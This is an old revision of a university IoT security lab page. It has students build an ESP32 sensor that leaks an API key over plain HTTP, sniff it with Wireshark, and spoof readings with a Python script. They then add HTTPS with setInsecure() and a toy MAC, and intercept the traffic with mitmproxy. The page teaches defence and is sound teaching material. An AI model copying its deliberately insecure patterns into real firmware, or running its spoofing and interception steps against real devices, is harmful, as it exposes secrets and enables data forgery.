This is an old revision of the document!


Lab 8. Security in IoT

Breaking an insecure IoT sensor over HTTP

By the end of this activity, you will be able to flash and run ESP32-C6 firmware that connects to Wi-Fi, periodically sends JSON data over plain HTTP to a server, and intentionally leaks an API key in the HTTP headers.

You will use Wireshark to capture this HTTP traffic and closely inspect the URL, payload, and exposed secrets in cleartext. In addition, you will write or modify a Python script that spoofs sensor data and sends it via HTTP POST to the same endpoint, giving you an understanding of how insecure data transmission can be observed and exploited.

Platformio Setup

Use this standard .ini file for your project:

platformio.ini
[env:sparrow_http_lab]
platform = https://github.com/pioarduino/platform-espressif32/releases/download/54.03.20/platform-espressif32.zip
board = esp32-c6-devkitm-1
framework = arduino
 
monitor_speed = 115200
 
build_flags =
  -D ARDUINO_USB_MODE=1
  -D ARDUINO_USB_CDC_ON_BOOT=1

Insecure HTTP Sensor Node

Let's write a (horribly unsafe) but functional code that connects to a HTTP server and sends periodically sensor data. This is the “bad” example in which we are using plaintext messaging over an unsecured connection.

main.cpp
#include <Arduino.h>
#include <WiFi.h>
#include <HTTPClient.h>
 
// ==== TODO: fill these in for the lab ====
const char* WIFI_SSID     = "LAB_WIFI_SSID";
const char* WIFI_PASSWORD = "LAB_WIFI_PASSWORD";
const char* SERVER_URL    = "http://192.168.1.100:8080/ingest"; // replace with your server IP
// =========================================
 
const char* DEVICE_ID     = "sparrow-01";
const char* API_KEY       = "SUPER_SECRET_API_KEY_123"; // intentionally bad design
 
void connectToWiFi() {
  Serial.printf("Connecting to WiFi SSID: %s\n", WIFI_SSID);
  WiFi.mode(WIFI_STA);
  WiFi.begin(WIFI_SSID, WIFI_PASSWORD);
 
  uint8_t retries = 0;
  while (WiFi.status() != WL_CONNECTED && retries < 30) {
    delay(500);
    Serial.print(".");
    retries++;
  }
 
  if (WiFi.status() == WL_CONNECTED) {
    Serial.println("\nWiFi connected!");
    Serial.print("IP address: ");
    Serial.println(WiFi.localIP());
  } else {
    Serial.println("\nFailed to connect to WiFi");
  }
}
 
void setup() {
  Serial.begin(115200);
  delay(2000); // give serial time to come up
 
  connectToWiFi();
  randomSeed(esp_random());
}
 
void loop() {
  if (WiFi.status() != WL_CONNECTED) {
    Serial.println("WiFi disconnected, reconnecting...");
    connectToWiFi();
  }
 
  if (WiFi.status() == WL_CONNECTED) {
    // Fake sensor data
    float tempC     = 20.0 + (random(0, 1000) / 100.0f);  // 20.00 to 29.99
    float humidity  = 40.0 + (random(0, 1000) / 50.0f);   // 40.0 to 59.9
    int   battery   = random(60, 100);                    // 60-99 %
 
    // Build JSON manually to avoid extra libraries
    String payload = "{";
    payload += "\"device_id\":\"" + String(DEVICE_ID) + "\",";
    payload += "\"temp_c\":" + String(tempC, 2) + ",";
    payload += "\"humidity\":" + String(humidity, 1) + ",";
    payload += "\"battery\":" + String(battery);
    payload += "}";
 
    Serial.println("Sending HTTP POST to server...");
    Serial.println("URL: " + String(SERVER_URL));
    Serial.println("Payload: " + payload);
    Serial.println("API key (also sent!): " + String(API_KEY));
 
    HTTPClient http;
    http.begin(SERVER_URL);                       // HTTP, not HTTPS
    http.addHeader("Content-Type", "application/json");
    http.addHeader("X-API-Key", API_KEY);         // Intentionally leaked secret
 
    int httpCode = http.POST(payload);
    String response = http.getString();
 
    Serial.printf("HTTP response code: %d\n", httpCode);
    Serial.println("Response body: " + response);
    Serial.println("-----------------------------");
 
    http.end();
  }
 
  delay(5000); // send every 5 seconds
}

Simple Flask Server

We'll create a simple HTTP server in Python that will display the packages received from the Sparrow node and their payload.

server.py
# server.py
from flask import Flask, request
 
app = Flask(__name__)
 
@app.route("/ingest", methods=["POST"])
def ingest():
    print("=== New request ===")
    print("Client IP:", request.remote_addr)
    print("Headers:")
    for k, v in request.headers.items():
        print(f"  {k}: {v}")
    print("Body:", request.data.decode("utf-8", errors="ignore"))
    print("===================")
    return "OK\n"
 
if __name__ == "__main__":
    # Listen on all interfaces, port 8080
    app.run(host="0.0.0.0", port=8080)

Set your computer's IP address as host and run the script on your machine by:

pip install flask
python server.py

Wireshark Capture

Use Wireshark to capture network traffic. Start Wireshark on the interface used for lab Wi-Fi/LAN and use a simple display filter such as: tcp.port == 8080 or filter by server IP: ip.addr == 192.168.1.100 && tcp.port == 8080

You should find a full HTTP request line: POST /ingest HTTP/1.1. with request headers: Host, User-Agent, Content-Type and X-API-Key: SUPER_SECRET_API_KEY_123 – this is the “secret”.

Also, HTTP body = JSON payload, fully readable:

{"device_id":"sparrow-01","temp_c":27.43,"humidity":55.7,"battery":88}

By simply sniffing on network traffic you can get all sensor information and data. Next step is to spoof sensor readings by impersonating the ESP32 Sparrow node.

Spoofing / Data Injection

This is the “attack” part in which we use captured data to impersonate the node. We will run a python script on our machine that matches the API key and JSON formatting. Use the script below, modifying only the server IP.

attack.py
# attack.py
import requests
import json
 
SERVER_URL = "http://192.168.1.100:8080/ingest"  # same as device
API_KEY    = "SUPER_SECRET_API_KEY_123"          # copied from Wireshark
DEVICE_ID  = "sparrow-01"                        # same as real device
 
def main():
    fake_payload = {
        "device_id": DEVICE_ID,
        "temp_c": 999.9,     # clearly fake, "overheating"
        "humidity": 0.0,
        "battery": 5
    }
 
    headers = {
        "Content-Type": "application/json",
        "X-API-Key": API_KEY
    }
 
    print("Sending spoofed measurement...")
    print("POST", SERVER_URL)
    print("Headers:", headers)
    print("Body:", json.dumps(fake_payload))
 
    r = requests.post(SERVER_URL, headers=headers, json=fake_payload)
    print("Status code:", r.status_code)
    print("Response:", r.text)
 
if __name__ == "__main__":
    main()

To run the attack script:

pip install requests
python attack.py

What you can observe is the backend prints both real ESP32 data and spoofed data — no way to distinguish. Wireshark shows identical HTTP requests except for payload values.

Secure Connection with HTTPS and Message Integrity

Let's modify the device to use HTTPS instead of HTTP and add a shared secret + simple MAC (message authentication code) to detect tampering. This will prevent passive sniffers from reading the payload and there will also be a complete failure of injecting spoofed data to the server.

First, let's generate a self-signed cert for Flask. In the same folder you have the two previous python scripts, run:

openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes \
  -subj "/CN=iot-lab.local"

This gives you server.crt and server.key in the current directory.

Now, let's upgrade our server with HTTPS instead of HTTP and a check function for message authentication codes (MAC). The new server script is below:

secure_server.py
# secure_server.py
from flask import Flask, request, abort
import json
 
app = Flask(__name__)
 
SECRET_KEY = "LAB2_SUPER_SECRET_MAC_KEY"  # this is shared only between the node and the server
 
def compute_mac(payload: str) -> int:
    """
    Very simple (non-crypto!) MAC: hash(payload + SECRET_KEY)
    This is just for teaching integrity, not real security.
    """
    data = (payload + SECRET_KEY).encode("utf-8", errors="ignore")
    h = 0
    for b in data:
        h = (h * 31) ^ b
        h &= 0xFFFFFFFF  # keep as 32-bit
    return h
 
@app.route("/ingest", methods=["POST"])
def ingest():
    raw_body = request.data.decode("utf-8", errors="ignore")
    print("=== New HTTPS request ===")
    print("Client IP:", request.remote_addr)
    print("Headers:")
    for k, v in request.headers.items():
        print(f"  {k}: {v}")
    print("Raw body:", raw_body)
 
    try:
        data = json.loads(raw_body)
    except json.JSONDecodeError:
        print("!! Invalid JSON, rejecting")
        abort(400, "Invalid JSON")
 
    # Expect fields: device_id, temp_c, humidity, battery, mac
    if "mac" not in data:
        print("!! Missing MAC, rejecting")
        abort(400, "Missing MAC")
 
    received_mac = int(data["mac"])
    # Compute MAC over body without the mac field
    check_obj = dict(data)
    del check_obj["mac"]
    # Use a canonical payload string for MAC computation
    mac_payload = json.dumps(check_obj, sort_keys=True, separators=(",", ":"))
    expected_mac = compute_mac(mac_payload)
 
    print(f"Received MAC: {received_mac}")
    print(f"Expected MAC: {expected_mac}")
 
    if received_mac != expected_mac:
        print("!! MAC mismatch, possible tampering, rejecting")
        abort(403, "Invalid MAC")
 
    print("MAC OK, accepting data:", check_obj)
    print("=========================")
    return "OK\n"
 
if __name__ == "__main__":
    # HTTPS on 8443, replace IP with your own server's address
    app.run(
        host="0.0.0.0",
        port=8443,
        ssl_context=("server.crt", "server.key")
    )

Run it and now the server has moved from http:…:8080/ingest to https:…:8443/ingest and expects a MAC.

Now, let's upgrade also the code on the node itself. Key changes we will need to make are URL is now https://...:8443/ingest, we use WiFiClientSecure + setInsecure() (so: encrypted but not properly authenticated), and we add a mac field based on the same simple MAC function as the server.

main.cpp
#include <Arduino.h>
#include <WiFi.h>
#include <WiFiClientSecure.h>
#include <HTTPClient.h>
 
// ====== LAB CONFIG: fill these in per-lab ======
const char* WIFI_SSID     = "LAB_WIFI_SSID";
const char* WIFI_PASSWORD = "LAB_WIFI_PASSWORD";
 
// Replace with your server's IP
const char* SERVER_URL    = "https://192.168.1.100:8443/ingest";
 
const char* DEVICE_ID     = "sparrow-01";
 
// This key must match SECRET_KEY on the server
// NOTE: in real systems, putting secrets in firmware has risks → discussion later.
const char* SECRET_KEY    = "LAB2_SUPER_SECRET_MAC_KEY";
// ===============================================
 
WiFiClientSecure secureClient;
 
void connectToWiFi() {
  Serial.printf("Connecting to WiFi SSID: %s\n", WIFI_SSID);
  WiFi.mode(WIFI_STA);
  WiFi.begin(WIFI_SSID, WIFI_PASSWORD);
 
  uint8_t retries = 0;
  while (WiFi.status() != WL_CONNECTED && retries < 30) {
    delay(500);
    Serial.print(".");
    retries++;
  }
 
  if (WiFi.status() == WL_CONNECTED) {
    Serial.println("\nWiFi connected!");
    Serial.print("IP address: ");
    Serial.println(WiFi.localIP());
  } else {
    Serial.println("\nFailed to connect to WiFi");
  }
}
 
// Very simple, non-cryptographic MAC, must match server's compute_mac()
uint32_t computeMac(const String& payload, const char* secret) {
  String data = payload + secret;
  uint32_t h = 0;
  for (size_t i = 0; i < data.length(); i++) {
    uint8_t b = static_cast<uint8_t>(data[i]);
    h = (h * 31) ^ b;
  }
  return h;
}
 
void setup() {
  Serial.begin(115200);
  delay(2000);
 
  connectToWiFi();
 
  // HTTPS client config:
  secureClient.setTimeout(15000);
  // For the lab, we disable certificate validation to keep
  // the code simple. This gives confidentiality but not strong
  // authenticity → good discussion point.
  secureClient.setInsecure();  // DO NOT DO THIS IN REAL PRODUCTS
  randomSeed(esp_random());
}
 
void loop() {
  if (WiFi.status() != WL_CONNECTED) {
    Serial.println("WiFi disconnected, reconnecting...");
    connectToWiFi();
  }
 
  if (WiFi.status() == WL_CONNECTED) {
    // Fake sensor data, like in Lab 1
    float tempC     = 20.0 + (random(0, 1000) / 100.0f);
    float humidity  = 40.0 + (random(0, 1000) / 50.0f);
    int   battery   = random(60, 100);
 
    // Build JSON without MAC first
    // We'll use this version to compute MAC both here and on the server.
    String jsonNoMac = "{";
    jsonNoMac += "\"battery\":" + String(battery) + ",";
    jsonNoMac += "\"device_id\":\"" + String(DEVICE_ID) + "\",";
    jsonNoMac += "\"humidity\":" + String(humidity, 1) + ",";
    jsonNoMac += "\"temp_c\":" + String(tempC, 2);
    jsonNoMac += "}";
 
    // Compute MAC
    uint32_t mac = computeMac(jsonNoMac, SECRET_KEY);
 
    // Full JSON payload with MAC
    String payload = "{";
    payload += "\"battery\":" + String(battery) + ",";
    payload += "\"device_id\":\"" + String(DEVICE_ID) + "\",";
    payload += "\"humidity\":" + String(humidity, 1) + ",";
    payload += "\"temp_c\":" + String(tempC, 2) + ",";
    payload += "\"mac\":" + String(mac);
    payload += "}";
 
    Serial.println("Sending HTTPS POST to server...");
    Serial.println("URL: " + String(SERVER_URL));
    Serial.println("Payload (with MAC): " + payload);
 
    HTTPClient http;
    if (!http.begin(secureClient, SERVER_URL)) {
      Serial.println("Failed to start HTTP connection");
    } else {
      http.addHeader("Content-Type", "application/json");
 
      int httpCode = http.POST(payload);
      String response = http.getString();
 
      Serial.printf("HTTP response code: %d\n", httpCode);
      Serial.println("Response body: " + response);
      Serial.println("-----------------------------");
 
      http.end();
    }
  }
 
  delay(5000);
}

Wireshark Sniffing

Now, start a new capture while Sparrow sends to HTTPS. Filter: tcp.port == 8443 or ip.addr == <server-ip> && tcp.port == 8443 and look if you still see TCP + TLS records (Client Hello, Server Hello, etc). The key difference now is that we see no readable JSON or headers in the middle of the transport. There is no way of directly finding the secret API key now.

Attack Script

Let's now try to attack the server by injecting again false data.

  1. First try: re-run the attack script, changing only the port from 8080 to 8443 and HTTPS instead of HTTP. You will see messages being rejected by the server as they don't have the right MAC: server returns 400 (“Missing MAC”) because it enforces MAC presence.
  2. Second try: add a mac: field in the attack script and give it a constant value, such as 1234. What you will see now is the server returning a mismatch → 403 “Invalid MAC”.
  3. Third try: compute the mac in the attack script (this implies you have hacked the source code on the node or on the server and found out the algorithm used for computing the mac. Try the attack script now, it should again inject wrong data without being detected.

Man-in-the-Middle (MITM) with ''setInsecure()''

This example shows why using HTTPS without certificate validation is dangerous. We will:

  • put an attacker (mitmproxy) between the ESP32 and the Flask server
  • watch “encrypted” traffic in clear
  • see that the ESP32 happily trusts the attacker because of setInsecure()

Prerequisites

You should already have:

  • secure_server.py running on the lab server
  • ESP32 code from using:
    • WiFiClientSecure secureClient;
    • secureClient.setInsecure();
  • all devices on the same network

One extra machine will act as the attacker.

Step 1 – Start the real HTTPS server (as before)

On the server machine:

python secure_server.py
  • keep this running in a terminal
  • note the server IP, e.g. 192.168.0.104

Step 2 – Start mitmproxy in reverse mode (attacker machine)

On the attacker machine:

  • install mitmproxy once:
pip install mitmproxy
  • then run mitmproxy as a reverse proxy:
mitmproxy --mode reverse:https://192.168.0.104:8443 -p 8444

Adjust the IP to your real server IP.

What this does:

  • listens on :8444 on the attacker machine
  • accepts HTTPS from the ESP32
  • decrypts everything (using a fake cert)
  • opens a new HTTPS connection to the real server
  • forwards the traffic

Step 3 – Point the ESP32 to the attacker instead of the server

We are pretending that the device was tricked into talking to the attacker instead of the real server (e.g. via DNS or ARP spoofing).

While we're not going to do ARP poisoning here, there are a multitude of tutorials available on how to do this, for example this one.

We are going to pretend we have been a victim of a MITM attack and the ESP32 connection to the server has been rerouted through ARP spoofing to an attacker machine. For this, on the ESP32 code (main.cpp), change only the URL:

// OLD
// const char* SERVER_URL = "https://192.168.0.104:8443/ingest";
 
// NEW: attacker IP + mitmproxy port
const char* SERVER_URL = "https://192.168.0.200:8444/ingest";  // example
  • use the attacker machine IP and port ``8444``
  • keep:
secureClient.setInsecure();  // do NOT change this yet

Rebuild and flash the ESP32.

Step 4 – Observe what happens

On the ESP32 serial monitor:

  • everything looks normal
  • HTTPS POSTs succeed
  • responses are “OK”

On the real Flask server:

  • you still see valid requests
  • MAC checks still pass
  • the server has no idea there is an attacker in the middle

On mitmproxy (attacker UI):

  • you see each request in clear text
  • method: POST /ingest
  • headers: Content-Type: application/json etc.
  • full JSON body, including the MAC:
{"battery":83,"device_id":"sparrow-01","humidity":52.1,"temp_c":28.17,"mac":3171032033}

So, transport is HTTPS but the attacker can read everything because the device accepted the attacker's certificate without checking!

Step 5 – Try to tamper with the data

In mitmproxy:

  • pick one request from the ESP32 to /ingest
  • press e to edit
  • choose request body
  • change e.g.: “temp_c”:28.17“temp_c”:999.99
  • do not change “mac”

Forward the modified request.

On the Flask server:

  • the request should be rejected
  • HTTP 403 “Invalid MAC” (MAC mismatch)

This shows:

  • the attacker can still *see* everything
  • but cannot silently change values without also knowing the MAC key

Takeaway

  • Using HTTPS without validating certificates is almost as bad as using no HTTPS at all.
  • If an attacker can redirect traffic (DNS, ARP, rogue AP), and your device uses setInsecure(), they can sit in the middle:
    • read all messages
    • block or replay them
    • try to tamper with them

Next steps (for a future lab):

  • replace setInsecure() with proper certificate pinning
  • add timestamps / nonces to defend against replay attacks
  • think about where and how to store keys on the device securely
iothings/laboratoare/2025/lab8.1763202651.txt.gz · Last modified: 2025/11/15 12:30 by dan.tudose
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0